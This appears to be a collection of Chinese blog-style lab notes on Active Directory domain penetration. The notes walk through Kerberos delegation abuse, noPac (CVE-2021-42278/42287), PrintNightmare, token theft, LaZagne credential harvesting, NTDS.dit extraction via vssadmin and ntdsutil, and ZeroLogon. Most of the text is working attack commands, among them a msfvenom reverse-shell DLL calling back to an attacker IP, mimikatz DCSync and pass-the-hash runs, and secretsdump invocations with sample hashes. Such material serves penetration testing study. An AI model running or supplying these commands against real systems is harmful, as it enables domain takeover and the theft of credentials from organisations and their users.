用mimikatz将cifs的票据导入

1
2
3
4


#清空一下
klist purge
klist
kerberos::ptt TGS_Administrator@test.local@TEST.LOCAL_cifs~WindowsServerAD.test.local@TEST.LOCAL.kirbi

成功这里都行非约束委派那里可能获得的票据确实有问题具体问题在哪还不清楚但至少 kokeo 软件拿到的票据能导入认证的

如果我们不知道服务用户的明文和NTLM Hash，但是我们有了服务用户登陆的主机权限（需要本地管理员权限），我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

1

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

注：sekurlsa::tickets是列出和导出所有会话的Kerberos票据，sekurlsa::tickets和kerberos::list不同，sekurlsa是从内存读取，也就是从lsass进程读取，这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制，sekurlsa可以访问其他会话（用户）的票证。

我们再试一下这种导出的操作看看是不是跟之前一样还会导入失败

1
2


# 让服务账户在本机登陆一次 不然没有票据 输入下面的命令在输入密码即可 模拟登录
runas /user:test\svc_sharepoint cmd.exe

mimikatz成功导出了这是我们创建的服务账户

但是还是利用失败

1

tgs::s4u /tgt:[0;25bcdd]-2-0-40e10000-svc_sharepoint@krbtgt-TEST.LOCAL.kirbi /user:Administrator@test.local /service:cifs/WindowsServerAD.test.local

但是我们还有Rubeus

1
2
3
4
5
6


后续的流程也是 读取到了写入本地 然后访问域控 流程都一样
但是这个有个缺点 就是服务账户必须登录之后不能断开 才能获取到
mimikatz的方法我还是记住吧 后续先用那个mimikatz 不行再用这个
# runas开一个cmd不要关
runas /user:test\svc_sharepoint cmd.exe
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint

右边就是svc_sharepoint的cmd(窗口关了啥就都没了)

1
2
3


# 用这个保存到本地 好复制
Rubeus.exe dump /service:krbtgt /user:svc_sharepoint /nowrap >> ticket.txt
Rubeus.exe ptt /ticket:[base64]

dir \WindowsServerAD.test.local\c$

非约束委派和约束委派Get域控权限

非约束委派拿 shell 很简单直接

1
2
3


# 当导入了administrator的票据的时候 其实就跟域管没区别了 但是要测试话都试一下吧
Enter-PSSession -ComputerName WindowsServerAD
lsadump::dcsync /domain:test.local /all /csv

约束委派拿 shell

我们都知道TGT的生成是由krbtgt用户加密和签名的，如果我们能委派域上的用户去访问TGS，那么就可以伪造任意用户的TGT了，黄金票据通常情况下我们是用krbtgt的hash来伪造TGT，不过我们通过约束委派也能达到同样的效果。

注：TGS默认的spn是krbtgt/domain name，我们操作环境是krbtgt/test.local

krbtgt默认是禁用的而且无法启用，所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

这里我来解释一下上面原文作者提到的意思是我们这个服务账号也就是这个约束委派账号它默认是没有 krbtgt 权限的也就是默认被禁用了但是呢我要利用黄金票据就得用krbtgt(这个服务账户其实已经有了个 cifs 权限是我们之前配置的) 我这里无法给这个服务账户委派krbtgt 下面我只会粘贴原作者成功的方法然后我会利用 cifs 来拿下域控原作者的方法用分割线隔开

1
2
3


Import-Module ActiveDirectory
$user = Get-ADUser svc_sharepoint
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local") }

注：域控默认安装ActiveDirectory，如果没有安装，可以下载dll：下载地址，然后导入就行了：import-module .\Microsoft.ActiveDirectory.Management.dll

上面有个 PowerView.ps1 的地址这里再放一下吧

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
2
3


Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-ADUser -Filter * -TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,"msds-allowedtodelegateto" | Format-List

我们可以用impacket系列的getST向KDC请求administrator的TGT

1

python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

我这里复现失败了貌似是因为版本过高导致krbtgt无法被委派出来这里做记录各种各样的委派方式其实有各种各样的方法如果遇到了直接去搜就行了

这里还是用 cifs 吧

1

python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123!

ccache 直接 PTC 就行了这个在我另一个页面写了有这里搬过来就行了

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

1
2


misc::cmd
dir \\WindowsServerAD.test.local\c$

~~wmiexec~~

1
2
3
4
5
6


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python C:\Users\tony\AppData\Local\Programs\Python\Python313\Scripts\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass

export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
/usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb
psexec.py -k -no-pass support.htb/administrator@dc.support.htb

这一步执行命令拿下 shell 我并没有成功主要是目前我用的 cifs 并没有 wmi 服务的访问权限

因为我们拿到的 ST 票据是administrator权限的cifs并没有其他的仅限此服务

接下来先不按照作者方法来实现了他的步骤我都打了删除线下面直接利用cifs来getshell上面已经导入了

导出域控上所有用户以及主机的hash #这个是没问题的利用的是 smb 或者 cifs 权限来读取域数据库

1
2


set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache
python secretsdump.py -no-pass -k WindowsServerAD.test.local

这里拿下域控的方法有很多用一下 PTH 就行了

1
2
3
4
5


mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe

PsExec64.exe \\192.168.0.110 cmd

1
2
3


# wmi和smb 也是经典的PTHgetshell的方法 主要是看开了哪个服务
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110

win11 不在域内指定 IP 就行

kali 不在域内指定 IP 也可以

win10 在域内指定主机名就行因为走的是域控的 dns

此时我们再做黄金门票是没任何问题的

再次放一下原作者和参考的博客里面也有防御方式

https://xz.aliyun.com/t/7217

https://www.freebuf.com/articles/network/290860.html

基于资源的约束委派的利用

1
2
3
4


# 先创建机器账户 test:123456
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

1
2
3
4
5


# 然后设置委派 查sid
import-module .\PowerView.ps1
Get-NetComputer test -Properties objectsid

S-1-5-21-3072663084-364016917-1341370565-9602

1
2
3
4
5
6
7


# 修改FOREST的msds-allowedtoactonbehalfofotheridentity的值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer FOREST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# FOREST为域控主机名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

域渗透：域内提权

Sat, 23 Nov 2024 11:08:00 +0800

一、 CVE-2021-42278/CVE-2021-42287

参考:

https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds

https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45

https://cloud.tencent.com/developer/article/1922502

在这篇文章中，我们将描述这些漏洞的利用方式，并展示如何通过 FortiEDR 缓解攻击。

受影响的平台： Windows 受影响的用户： 任何具有 Active Directory 环境的组织 影响： 非特权用户可以将权限升级为域管理员 严重程度： 严重

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


影响范围
CVE-2021-42287：
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
CVE-2021-42278：
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)

漏洞利用与遥测

从高层次来看，成功利用漏洞需要以下步骤：

新的计算机帐户已添加到域中。
创建的计算机帐户被重命名为与现有域控制器的名称匹配（不带尾随的“ $ ”）
使用更新的计算机帐户名请求 Kerberos TGT。
创建的计算机帐户名再次重命名为其原始（或任何）值。
使用S4U2self扩展请求 Kerberos 服务票证。

然后，可以使用获取的服务票证来使用域控制器上的任何服务。下面显示的漏洞利用 ST 使用CIFS获取 SYSTEM shell 。

CVE-2021-42278 - 无效的计算机帐户名称

Active Directory 环境中的计算机帐户名称应始终以“$”结尾，但这并不正确。计算机帐户名称属性为“sAMAccountName”。可以使用 ADSIEdit 工具手动查看和编辑此属性，如图 1 所示。

在存在漏洞的机器上，可以将其重命名为域控制器帐户名，这是利用链中的关键步骤。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


CVE-2021-42278漏洞特点：
1. 漏洞本质：
- Active Directory允许修改机器账户的sAMAccountName
- 可以删除机器账户名称末尾的$符号
- 甚至可以改名为域控制器的名称(不带$)

2. 正常情况下：
机器账户：WIN10$
域控账户：DC01$
- 机器账户必须以$结尾
- 这是一个安全限制

3. 漏洞利用：
- 可以把普通机器账户改名为域控名字(不带$)
- 例如：将WIN10$改为DC01
- 造成身份混淆
=======================================================================
1. 正常的计算机账户：
hostname: WIN10
sAMAccountName: WIN10$

2. 利用漏洞后：
hostname: WIN10
sAMAccountName: WindowsServerAD # 改成域控名字，不带$

安全主体名称

安全主体名称 (SPN) 是用于标识经过身份验证的实体的名称，例如 machinename$@domainname。Kerberos使用[SPN作为各种实体身份验证过程的一部分。它基本上是服务实例的唯一标识符，](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.)[Kerberos](https://www.fortinet.com/resources/cyberglossary/kerberos-authentication?utm_source=blog&utm_medium=blog&utm_campaign=blog-kerberos-authentication)身份验证使用它来将服务实例与服务登录帐户关联起来。

尝试将计算机帐户重命名为域控制器帐户时，这可能会带来问题，因为更改 samAccountName 属性将触发对该帐户的 SPN 的相应更改。更改它的尝试将失败，因为具有此名称的 SPN 已经存在。为了克服这个问题，可以清除计算机“servicePrincipalName”属性。因此，利用此漏洞还需要编辑“servicePrincipalName”属性的权限。

我们开始配置环境

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


以下在域内主机win10上运行
配置环境 ：

利用 powermad.ps1 新增机器帐号
下载地址：https://github.com/Kevin-Robertson/Powermad
直接导入会报错 参考https://www.jianshu.com/p/a0a88d3bb787

Set-ExecutionPolicy RemoteSigned
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose

# 如果上面的方法一直提示权限不够 就用下面这个 需要当前域内账号的账号密码
python addcomputer.py -computer-name 'testuser1' -computer-pass 'Password123!' 'test.local/jerry:Password123!' -dc-ip 192.168.0.110

目前账号已经创建完了(这里可以图形化界面操作 adsiedit.msc)

1
2
3
4


# 清除SPN
Set-ADComputer testuser1 -Clear servicePrincipalName
# 配置计算机账户名 配成域控的主机名就行了
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "WindowsServerAD" -Attribute samaccountname -Verbose

CVE-2021-42287 - Kerberos 密钥分发中心混乱

Kerberos 密钥分发中心 (KDC) 是 Active Directory 的一项服务，用于处理 Kerberos 票证请求。票证授予票证 (TGT) 是一种特殊类型的票证，可用于获取其他票证。TGT 用于从票证授予服务 (TGS) 请求域中特定资源/系统的访问令牌。当发送服务票证请求但未找到时，KDC 将自动查找附加有“$”的请求票证。S4U2self （即用户对自己的服务）是一种扩展，允许服务为自己获取 Kerberos 服务票证。服务票证包含用户的组，因此可用于授权决策。所有 Active Directory 术语和完整解释均可在此处找到。

如果用户获得 TGT，然后被删除，并且之前获得的 TGT 用于为自己请求其他用户的服务票证（基本上就是 S4U2self），则可能会触发此漏洞。在这种情况下，将找不到该用户，并将执行以附加“$”查找该用户的操作。如果存在具有该名称的域控制器帐户，则会向请求用户授予服务票证，从而使请求用户成为域管理员。

但是这里也可以自行创建个账户即使不在域内如果有域控创建用户的权限的话

请求TGT

1

.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap

然后删除或者改回原名都可以

当用户被删除后，KDC在S4U2self过程中：

先查找没有$的账户名

找不到后，会自动尝试加$查找

如果存在同名的域控账户，就会授予高权限

1
2


Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "testuser1$" -Attribute samaccountname -Verbose

这里命令行操作也可以 adsiedit.msc

请求域控的 ST

1

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]

这里的 base64 是上面获取到的 TGT 的 base64 编码

成功拿到了 ST 因为我们使用了/ptt 参数这里已经写入票据了

原作者也提到了我们拿的是 ldap 权限所以无法访问共享目录

重新生成 ST

1

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:

自动化-noPac

https://github.com/cube0x0/noPac

需要自行编译也需要域内主机有.NET 环境使用方法如下

1
2
3
4


noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'
noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt

我这里已经编译好了

1
2


# 输入域内主机的账号密码 测试看看是否存在漏洞
noPac.exe scan -domain test.local -user jerry -pass Password123!

1
2


# 创建机器账户 然后修改计算机账户名为域控的主机名
noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!

之前命令行的时候报权限不够这里也一样但是使用 impacket 的 addcomputer.py 是可以的

还有两个一键利用的方法我就不用了需要的话改一下就能用一键利用里面会加上创建用户的命令但是我创建用户会报权限不够所以没办法导致这个 exp 也不行

后续可以参考原作者

https://cloud.tencent.com/developer/article/1922502

主要讲了获取域控管理员权限之后新建域用户加入域管然后通过该新建域账户接管域控

二、PrintNightmare(CVE-2021-34527)

创建恶意 DLL

1

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

https://github.com/cube0x0/CVE-2021-1675

1

python3 CVE-2021-1675.py My.local/bob:Pass123@192.168.0.251'\\192.168.0.106\\public\\rev.dll'

主要是用于提权

域渗透：卷影拷贝与 CVE-2020-1472

Wed, 20 Nov 2024 10:08:00 +0800

参考

https://0range-x.github.io/2021/11/22/CVE-2020-1472

https://cloud.tencent.com/developer/article/1727748

https://blog.csdn.net/Captain_RB/article/details/120643838

1、token窃取

一、Token的作用

1）令牌(token)是系统的临时秘钥，相当于账号和密码，用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下，访问网络和系统资源，这些令牌将持续存在于系统中，除非系统重新启动。

2）令牌最大的特点就是随机性，不可预测，黑客或软件无法猜测出令牌。假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候，需要通过假冒域管理员的令牌进行攻击。

二、令牌的种类

访问令牌(Access Token)：表示访问控制操作主体的系统对象。

会话令牌(Session Token)：是交互会话中唯一的身份标识符。

密保令牌(Security Token)：又叫做认证令牌或硬件令牌，是一种计算机身份校验的物理设备，例如 U 盾。

Windows 的 AccessToken 有两种类型：

Delegation Token：授权令牌，它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)

Impresonation Token：模拟令牌，它是非交互的会话 (例如使用 net use 访问共享文件夹)。

注：两种 token 只在系统重启后清除具有 Delegation token 的用户在注销后，该 Token 将变成 Impersonation，依旧有效。可以这样理解：当前系统中的某个进程或者线程能访问什么样的系统资源，取决于当前令牌的权限。

一开始并不理解为什么非要token 明明目前已经是域管了这里有个解释我觉得很不错

我们通过exp提权或者永恒之蓝等得到的权限即为System，假如我们利⽤mimikatz和hashdump不能获得 administrator⽤户的密码，那我们只能通过令牌窃取进⾏降权，获得administrator⽤户的shell，从⽽以 administrator⽤户的身份启动某些服务 ( 某些服务只能通过administrator⽤户启动 )

重要目的就是我们拿到的system权限 system已经是最高的了吧但是有些服务需要administrator启动我们还需要administrator的shell 但是我们又拿不到密码所以通过token降权这就是一个场景

或者说目标服务器大概率不可能重启因为token只在重启清除

网上目前我没下载到找个程序先列一下命令吧还有其他软件可以替代的

第一种方法 incognito.exe

常用命令：

列举token：incognito.exe list_tokens -u

可以看到因为不是system权限，列举出的token很局限，切换到system权限看下

窃取token： incognito.exe execute -c "SUN\administrator" cmd.exe

incognito.exe execute [options] <token> <command>

第二种方法

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

原理和功能同incognito类似，能够实际提权和降权

列举token：Invoke-TokenManipulation -Enumerate

提权至system：Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

复制进程token：Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500

复制线程token：Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

第三种方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


开启SYSTEM权限的命令行 用于模拟上到下
PsExec.exe -s -i cmd.exe

# 查看当前token
token::whoami
# 提升权限
token::elevate /domainadmin 	# 提升到域管理员
token::elevate /admin 			# 提升到本地管理员
token::elevate 					# 默认提升到SYSTEM
# 恢复token
token::revert

恢复token
privilege::debug
token::elevate

2、LaZagne.exe

这个非常猛基本上他不像其他工具获得管理员的密码什么的他主要是针对某个人物画像来

能获取的密码类型：

浏览器保存的密码
WiFi密码记录
Windows凭据
邮件客户端
开发工具配置

1
2
3


lazagne.exe all # 获取所有密码
lazagne.exe browsers # 只获取浏览器密码
lazagne.exe wifi # 只获取WiFi密码

3、卷影拷贝（获取域控所有hash）

那什么又是ntds.dit?

Ntds.dit文件是域环境中域控上会有的一个二进制文件，是主要的活动目录数据库，其文件路径为域控的 %SystemRoot%\ntds\ntds.dit，活动目录始终会访问这个文件，所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值，为了进一步保护密码哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

而在非域环境也就是在工作组环境中，用户的密码等信息存储在SAM文件，想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。和SAM文件一样，Ntds.dit是默认被Windows系统锁定的。这也是使用mimikatz经常需要导出的文件

`plain ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit system文件位置:C:\Windows\System32\config\SYSTEM sam文件位置:C:\Windows\System32\config\SAM`

导出该文件的方法也是有多种

mimikatz-dcsync

前提:高权限

Mimikatz有一个功能（dcsync），它可以利用目录复制服务（Directory Replication Service, DRS）从NTDS.DIT文件中提取密码哈希值。

DCSync是mimikatz在2015年添加的一个功能，利用的这个原理，通过Directory Replication Service（DRS）服务的GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求，能够用来导出域内所有用户的hash。

DCSync的本质：

利用DRS复制协议
直接请求目标数据
不涉及NTDS.dit文件复制

1
2
3
4
5
6


mimikatz.exe lsadump::dcsync /domain:test.local /all /csv 		//可以通过dcsync直接获取test域内所有用户hash
mimikatz lsadump::dcsync /domain:test.local /user:admin		//获取单个用户的详细信息
mimikatz lsadump::lsa /inject

lsadump::sam # 当前系统SAM
lsadump::sam /system:system.hiv /sam:sam.hiv # 指定文件

vssadmin卷影拷贝

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具，可用于创建和删除卷影拷贝、列出卷影拷贝的信息，显示已安装的所有卷影拷贝写入程序和提供程序，以及改变卷影拷贝的存储空间的大小等。

适用机器：Windows 10，Windows 8.1，Windows Server 2016，Windows Server 2012 R2，Windows Server 2012，Windows Server 2008 R2，Windows Server 2008

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


vssadmin create shadow /for=C:							//创建c盘卷影拷贝
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit		//在创建的卷影拷贝中将ntds.dit复制到C盘
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv	 //在创建的卷影拷贝中将sam.hiv复制到C盘
同时还需要system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
vssadmin delete shadows /for=c: /quiet

解密ntds.dit
python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
解密SAM
python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
如果报错 大概率要执行
pip install cryptography==41.0.2

需要注意的是 HarddiskVolumeShadowCopy1 数字会变 根据卷影拷贝的路径来写就行了

Mimikatz主要获取已登录凭据
SAM获取本地账户hash
NTDS.dit获取整个域的hash

ntdsutil.exe

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具，该工具被默认安装在了域控制器上，可以在域控上直接操作，也可以通过域内机器在域控上远程操作，但是需要管理员权限。使⽤ ntdsutil.exe，可以维护和管理活动⽬录数据库、控制单个主机操作、创建应⽤程序⽬录分区、删除由未使⽤活动⽬录安装向导（DCPromo.exe）成功降级的与控制器留下的元数据等。

1

ntdsutil snapshot "activate instance ntds" create quit quit //首先建立快照，该快照包含Windows中的所有文件，且在复制时不会受到Windows锁定机制的影响

1
2


ntdsutil snapshot "mount {ID}" quit quit	 		//加载刚刚的快照
>ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

1
2
3


copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv
copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv

//将快照中的三个文件拷贝到c盘

//删除刚才创建的快照

1

ntdsutil snapshot "mount {5d42befe-0029-4f76-b6d9-f87329ce8119}" "delete {5d42befe-0029-4f76-b6d9-f87329ce8119}" quit quit

除了利用上面那种操作来获取ntds.dit外，还可以利用Ntdsutil.exe创建媒体安装集(IFM)来用于提取NTDS.dit文件。在使用ntdsutil创建创建媒体安装集(IFM)时，会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作，我们可以利用该过程获取NTDS.dit文件，需要管理员权限。

Ntdsutil是本地处理 Active Directory 的命令实用程序，并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”，因此被升级的服务器不需要通过网络从另一个DC复制域数据。

当创建一个IFM时，VSS快照会被自动拍摄，挂载，NTDS.DIT文件和相关数据被复制到目标文件夹中。

在域控制器中执行如下命令即可：

1
2
3
4
5
6


ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit		//生成文件
ntdsutil "ac i ntds" "ifm" "create full c:\ntdsutil" q q			//简洁版

直接调用SYSTEM就能解开
secretsdump.py -ntds "Active Directory/ntds.dit" -system registry/SYSTEM LOCAL
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

ZeroLogon (CVE-2020-1472) 漏洞利用

影响系统版本：该 Win2008 后的所有版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

利用条件：

1

攻击者只需要定位域控主机名及IP，并且可以访问域控，就可以在无需任何凭据的情况下拿到域管理员的权限，甚至不需要在域内

注意：域控的机器帐户HASH存储在注册表中，系统启动时会将其加载到lsass，当攻击置空域控HASH后，仅AD (NTDS.DIT) 中的密码会更改，而不是注册表或加载到lsass中的密码，域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时，这样将会导致域控脱域，无法使用Kerberos进行身份验证，因此要尽快恢复。

第1步验证漏洞存在

account获取方式

方法一：Mimikatz

下载新版本，需要支持ZeroLogon漏洞利用：https://github.com/gentilkiwi/mimikatz

1

mimikatz.exe "lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$" exit

方法二：工具 https://github.com/SecuraBV/CVE-2020-1472

1

python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111

第2步置空域控HASH

注意：域控的机器帐户HASH存储在注册表中，系统启动时会将其加载到lsass，当攻击置空域控HASH后，仅AD (NTDS.DIT) 中的密码会更改，而不是注册表或加载到lsass中的密码，这样将会导致域控脱域，无法使用Kerberos进行身份验证，因此要尽快恢复。

方法一：Mimikatz

1

mimikatz.exe "lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit" exit

方法二：工具 https://github.com/risksense/zerologon

1

python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110

方法三：工具 https://github.com/dirkjanm/CVE-2020-1472

1

python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110

第3步获取域管HASH

方法一：Mimikatz

1

lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:"" /authntlm

运行结果如下所示，获取域管 MAIN\Administrator 的HASH为 2b2ddd54e1f78fab85e7c662f672f30e

方法二：Impacket

Impacket工具包地址：https://github.com/SecureAuthCorp/impacket，利用其中的secretsdump.py工具获取域管HASH：

1
2
3
4
5
6


# 31d6cfe0d16ae931b73c59d7e0c089c0是空值的HASH
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111
OR
python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'secura.yzx/DC01$@192.168.131.97' -just-dc -no-pass

运行结果如下所示，获取域管 MAIN\Administrator 的HASH为 2b2ddd54e1f78fab85e7c662f672f30e，注意此时NTDS.DIT中域控WIN-RITHFS5KHEN$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0

2b2ddd54e1f78fab85e7c662f672f30e，注意此时NTDS.DIT中域控WIN-RITHFS5KHEN$的HASH已是空值 31d6cfe0d16ae931b73c59d7e0c089c0

第4步恢复域控HASH

(这一步可以不用但是留下了痕迹不恢复可能还会导致域控司机所以我们要进行恢复)

